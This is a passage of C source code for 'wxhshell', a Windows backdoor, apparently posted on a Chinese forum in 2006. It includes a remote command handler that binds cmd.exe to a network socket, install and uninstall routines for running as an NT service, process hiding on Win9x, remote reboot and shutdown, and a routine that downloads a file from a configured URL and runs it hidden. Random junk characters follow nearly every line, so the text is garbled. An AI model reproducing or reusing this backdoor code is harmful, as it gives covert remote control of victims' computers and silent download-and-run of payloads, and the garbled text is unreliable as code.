z#P`m,~t0  
    switch(cmd[0]) { ,RY;dX-#  
  'wMvO{}$  
  // 帮助 JZ5";*,  
  case '?': { cjO %X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L$ sENOm  
    break;  (#O"  
  } M l@F  
  // 安装 oz,.gP%  
  case 'i': { fR{_P  
    if(Install()) Sf.OBU1rs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_m3 ~=Z  
    else c?}G;$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j&Xx{ 4v  
    break; '@M"#`#0  
    } +PKsiUJ|  
  // 卸载 YV@efPy}n  
  case 'r': { ``6-   
    if(Uninstall()) %k )H7nj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2\gIjXX"  
    else IvI..#EzG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "VU/Ucb7  
    break; @>V;guJC%  
    } (hQi {  
  // 显示 wxhshell 所在路径 urCTP.F  
  case 'p': { ;/JXn  
    char svExeFile[MAX_PATH]; !=a]Awr\  
    strcpy(svExeFile,"\n\r"); v'S5F@ln  
      strcat(svExeFile,ExeFile); 3T4HX|rC  
        send(wsh,svExeFile,strlen(svExeFile),0); ?#z<<FR  
    break; 257$ !  
    } K{"hf:k  
  // 重启 n+YUG  
  case 'b': { c/v|e&q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |d*a~T0  
    if(Boot(REBOOT)) P+OS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Q@/F;Z?  
    else { yBIX<P)vE'  
    closesocket(wsh); JEMc_ngR!  
    ExitThread(0); FOMJRq  
    } mZPvG  
    break; yO!M$aOn/  
    } #Nco|v  
  // 关机 .5}Gt>4XM  
  case 'd': { rKyulgP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CS(2bj^6 D  
    if(Boot(SHUTDOWN)) c%gL3kOT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i.`n^R;N  
    else { y)CvlI  
    closesocket(wsh); u'>94Gm}  
    ExitThread(0); pi/0~ke4"  
    } P*~ vWYH9  
    break; ,uPcQ  
    } ubOXEkZ8N  
  // 获取shell gkA_<,38  
  case 's': { #9!7-!4pW  
    CmdShell(wsh); [w|Klq5  
    closesocket(wsh); oZ d3H  
    ExitThread(0); qq)}GK8K&  
    break; &r4|WM/ec  
  } vB{i w}Hi!  
  // 退出 q` IY;"~  
  case 'x': { m;MJ{"@A'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vO~  Tx  
    CloseIt(wsh); (=Kv1 HaD  
    break; ,I x>.^|  
    } VwPoQ9pIS  
  // 离开 'Kbrz  
  case 'q': { )E>yoUhN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !U m9ceK  
    closesocket(wsh); h@G~' \8t  
    WSACleanup(); 1Kk6n UIN  
    exit(1); :W1?t*z:[  
    break; KU9FHN  
        } S_Wq`I@b  
  } WGUw`sc\  
  } jga\Ry=nw  
igk<]AwxS  
  // 提示信息 Hxgc9Fis  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Vq5U9-  
} \WE&5 9G  
  } 3-{BXht)  
DR}I+<*%aD  
  return; "YgpgW  
} NGl 8*Af   
7)r]h?  
// shell模块句柄 L#byYB;E{  
int CmdShell(SOCKET sock) 9 $$uk'}w!  
{ zHX\h [0f  
STARTUPINFO si; J*$%d1  
ZeroMemory(&si,sizeof(si)); "}*D,[C5e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /u4RZ|&as  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :#^qn|{e  
PROCESS_INFORMATION ProcessInfo; j0; ~2W#G*  
char cmdline[]="cmd"; xS/W}-dPv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K xX[8  
  return 0; P7XZ|Td4*  
} {&IB[Y6  
e! *] y&W  
// 自身启动模式 TsK!36cg  
int StartFromService(void) cE 'LE1DK  
{ xBTx`+%WS  
typedef struct kWZY+jyt P  
{ \j`0 f=z_  
  DWORD ExitStatus; WT<}3(S'?  
  DWORD PebBaseAddress; 3P2{M}WIl  
  DWORD AffinityMask; ?o;ip  
  DWORD BasePriority; xj>P5\mW#  
  ULONG UniqueProcessId; & mOn]  
  ULONG InheritedFromUniqueProcessId; Ul_Zn  
}   PROCESS_BASIC_INFORMATION; >80k5$t  
`z(o01y  
PROCNTQSIP NtQueryInformationProcess; .))j R:{3  
&<98n T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /GO-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .h=n [`RB  
X+XDfEt:Q  
  HANDLE             hProcess; HfVHjF)  
  PROCESS_BASIC_INFORMATION pbi; {fACfSW6  
l2St)`K8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); agx8 *x  
  if(NULL == hInst ) return 0; KSchgon0V  
8j#S+=l>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TUnAsE/J&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zX_F+"]THt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UXBWCo;-  
K`K v.4  
  if (!NtQueryInformationProcess) return 0; t8-Nli*O  
4)w,gp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GB|>eZLv<  
  if(!hProcess) return 0; ] H !ru  
$M)i]ekm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %Z_O\zRqy)  
/Y y)=~t{  
  CloseHandle(hProcess); #]jl{K\f#X  
$^iio@SW{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %jjPs .  
if(hProcess==NULL) return 0; ) 1AAL0F\B  
D;> 7y}\  
HMODULE hMod; 1@L18%h  
char procName[255]; )%@7tx  
unsigned long cbNeeded; )ovAGO  
1;(h0j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eTp|!T  
61H_o7XXk  
  CloseHandle(hProcess); \lQ3j8 U  
$@'BB=i  
if(strstr(procName,"services")) return 1; // 以服务启动 N4ZV+ |  
M)oKtiav*  
  return 0; // 注册表启动 P$U" y/  
} `CVkjLiy  
J~5V7B  
// 主模块 (U&  
int StartWxhshell(LPSTR lpCmdLine) (-WRZLOQ  
{ P5?VrZy  
  SOCKET wsl; I0zx'x)F  
BOOL val=TRUE; \+V"JIStUj  
  int port=0; _!o8s%9be  
  struct sockaddr_in door; OlCqv-B2&  
o9e8Oj&  
  if(wscfg.ws_autoins) Install(); I #1~CbR  
w U+r]SK@  
port=atoi(lpCmdLine); T>asH  
V,rc&97  
if(port<=0) port=wscfg.ws_port; xw9ZRu<z  
b$DiDm  
  WSADATA data; sg7h&<Xx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1+Gq<]@G  
f/J/tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -kk7y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sh!c]r>\Q  
  door.sin_family = AF_INET; .h meP MK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h]s6)tI I  
  door.sin_port = htons(port); @6G)(NGD  
1]:,Xa+|S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o08g]a  
closesocket(wsl); HZAT_  
return 1; gttsxOgktH  
} #$BFTlm|  
B`-uZ9k   
  if(listen(wsl,2) == INVALID_SOCKET) { k3$'K}=d  
closesocket(wsl); VF2,(f-*  
return 1; rQ* w3F?:  
} u9f^wn  
  Wxhshell(wsl); (O J/u)W^  
  WSACleanup(); Nl YFS?5  
bpBn3f`?*  
return 0; qkhre3  
c]E pg)E  
} Zeg'\&w0s  
X&zGgP/  
// 以NT服务方式启动 8~O#@hB~3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ll=G+cw6P  
{ e^eJ!~0  
DWORD   status = 0; $Xwk8<  
  DWORD   specificError = 0xfffffff; 6c]4(%8  
~}b0zL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fSbLkd 9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]z'L1vQl7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \YzKEYx+  
  serviceStatus.dwWin32ExitCode     = 0; 01@ WU1IN  
  serviceStatus.dwServiceSpecificExitCode = 0; q+9^rQ  
  serviceStatus.dwCheckPoint       = 0; Mrk3r/ 8w  
  serviceStatus.dwWaitHint       = 0; MPUyu(-%{  
g5|&6+t.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <2]h$53y!  
  if (hServiceStatusHandle==0) return; g sm%4>sc  
!f(A9V  
status = GetLastError(); "}_ J"%  
  if (status!=NO_ERROR) K{_~W yRF  
{ U=JK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c<_1o!68  
    serviceStatus.dwCheckPoint       = 0; \9,lMK[b  
    serviceStatus.dwWaitHint       = 0; dE8f?L'  
    serviceStatus.dwWin32ExitCode     = status; k I`HD  
    serviceStatus.dwServiceSpecificExitCode = specificError; \{<ml n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &PPnI(s^K  
    return; gWHY7rv  
  } 4e>f}u 5  
}BS EK<W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?M4ig_  
  serviceStatus.dwCheckPoint       = 0; yI8 O#  
  serviceStatus.dwWaitHint       = 0; Po=:-Of:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mIf)=RW  
} 4'D^>z!c  
N_:!uR  
// 处理NT服务事件,比如:启动、停止 4wKCz Py  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j6^.Q/{^  
{ C4E}.``Hm  
switch(fdwControl) a`yCPnB(  
{ ?W ^`Fa)]o  
case SERVICE_CONTROL_STOP: 8Q/cJ+&  
  serviceStatus.dwWin32ExitCode = 0; JGq9RB]D$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;gEEdx'&T  
  serviceStatus.dwCheckPoint   = 0; #vK99 S2  
  serviceStatus.dwWaitHint     = 0; "T /$K  
  { J" ,Cwk\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); " AvEo  
  } ~Fvz&dO  
  return; 6$PQ$  
case SERVICE_CONTROL_PAUSE: (~\HizSl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w@WtW8 p^  
  break; |o eg'T  
case SERVICE_CONTROL_CONTINUE: IH*G7;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Iy)p{y  
  break; Dp*:oMATx0  
case SERVICE_CONTROL_INTERROGATE: <AVWT+,  
  break; 0@' -g^PS  
}; #lFsgb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 Q>  
} &Kc45  
f~?5;f:E  
// 标准应用程序主函数 @pvQci  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %j0c|u  
{ #?M[Q:  
"JF   
// 获取操作系统版本 \RVfgfe  
OsIsNt=GetOsVer(); aAu%QRq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \SmYxdU'>  
h{]0 H'g  
  // 从命令行安装 !=vsY]  
  if(strpbrk(lpCmdLine,"iI")) Install(); F+zHgE  
,uO?f1  
  // 下载执行文件 *Q [%r  
if(wscfg.ws_downexe) { qi_uob  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z2.OR,R}]  
  WinExec(wscfg.ws_filenam,SW_HIDE); jxw8jo06:  
} *bcemH8f  
L{f0r!d|  
if(!OsIsNt) { A9HgABhax  
// 如果时win9x,隐藏进程并且设置为注册表启动 /#x0?d {5  
HideProc(); r_^]5C\  
StartWxhshell(lpCmdLine); l>Zp#+I-  
} EffU-=?%!  
else g>?,,y6/w  
  if(StartFromService()) )Zyw^KN^  
  // 以服务方式启动 XC[AJ!q`  
  StartServiceCtrlDispatcher(DispatchTable); NUY sQO)  
else Ip,0C8T`Q  
  // 普通方式启动 OYfP!,+bn  
  StartWxhshell(lpCmdLine); Qz A)HDQ  
"X1{*  
return 0; y9GaxW* &  
}
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只看该作者 1 发表于: 2006-10-10
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